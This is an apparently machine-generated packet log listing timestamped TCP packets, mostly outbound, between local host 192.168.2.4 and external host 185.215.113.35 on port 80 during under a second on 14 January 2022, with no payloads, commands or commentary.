Jan 14, 2022 09:26:00.333893061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.334220886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.334311008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.334460974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.334702969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.334960938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335160017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335267067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335366964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335571051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335711002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335793972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.335886002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336042881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336316109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336447954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336560011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336734056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.336863041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337083101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337121010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337410927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337596893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337697983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337815046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.337928057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338082075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338175058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338283062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338413954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338494062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338681936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.338951111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339224100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339241028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339391947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339406013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339560986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339579105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339668036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339811087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339828014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339978933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.339993000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340148926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340164900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340316057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340329885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340487003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340503931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340656996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340671062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340827942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.340842009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341001034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341021061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341217995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341233969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341402054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341418982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341603994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341620922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341803074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.341818094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342008114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342024088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342257977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342272043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342469931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342487097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342664957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342675924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342864037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.342880011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343028069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343152046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343163013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343358994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343374968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343672991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343684912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343754053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343760014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.343996048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344010115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344208956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344225883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344351053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344417095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344557047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344661951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344798088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.344933033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345115900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345247984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345443964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345541000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345645905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345741034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.345930099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.346095085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.346246004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.346332073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.349611998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.349653959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.350303888 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.350634098 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.351437092 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.352690935 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.352715015 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.353719950 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.359592915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.359707117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.360297918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.360404015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.360472918 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.360667944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.360686064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.360894918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.360908985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361073017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361088037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361264944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361279964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361443043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361460924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361641884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361658096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361819983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.361835957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362011909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362025976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362190962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362206936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362327099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362466097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362483978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362656116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362668991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362837076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.362854004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363025904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363040924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363207102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363224030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363394022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363409042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363574982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363591909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363763094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363779068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363945007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.363960981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364129066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364141941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364310980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364326954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364497900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364514112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364681005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364697933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364866972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.364881039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365052938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365070105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365365028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365379095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365578890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365700960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.365773916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366013050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366028070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366247892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366264105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366476059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366492033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366705894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366723061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366940975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.366955042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367172003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367187977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367408037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367427111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367654085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367670059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367886066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.367904902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368206978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368221045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368375063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368391991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368664026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368678093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368899107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.368915081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369128942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369143009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369360924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369378090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369589090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369604111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369822979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.369838953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370052099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370065928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370285034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370301962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370512962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370527983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370748043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370764971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.370985031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.371001959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.371331930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.371928930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.372270107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.372945070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.377978086 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.383991957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.388118029 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.404962063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.404984951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.405483961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.405498028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.405678034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.419749022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.421072960 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.423423052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.423998117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.425605059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.425630093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.426297903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.426311970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.426521063 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.426913977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.426933050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.427504063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.427520037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428152084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428170919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428451061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428464890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428761959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.428778887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429053068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429069042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429368019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429384947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429656982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429672003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429888964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.429913998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.430126905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.430144072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.430480957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.430497885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.430882931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.431149960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.431206942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.431427002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.431477070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433106899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433121920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433387995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433403015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433737040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.433752060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434040070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434061050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434324980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434335947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434629917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434648037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434914112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.434931040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435210943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435226917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435421944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435439110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435610056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435626030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435812950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435830116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.435981989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436206102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436450005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436466932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436631918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436877012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.436877966 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437262058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437279940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437479019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437592983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437911034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.437927961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438261986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438281059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438472033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438520908 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438656092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438671112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438862085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.438878059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439054966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439070940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439240932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439342976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439359903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439532042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439548969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439726114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439742088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.439811945 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.439860106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.440011024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.440026999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.440222025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.457500935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.457695007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.457715034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.457926035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.457940102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458157063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458173990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458379984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458395004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458610058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458626986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458828926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.458843946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459168911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459424973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459441900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459662914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459682941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459881067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.459894896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460100889 CET	49891	80	192.168.2.4	185.215.113.35
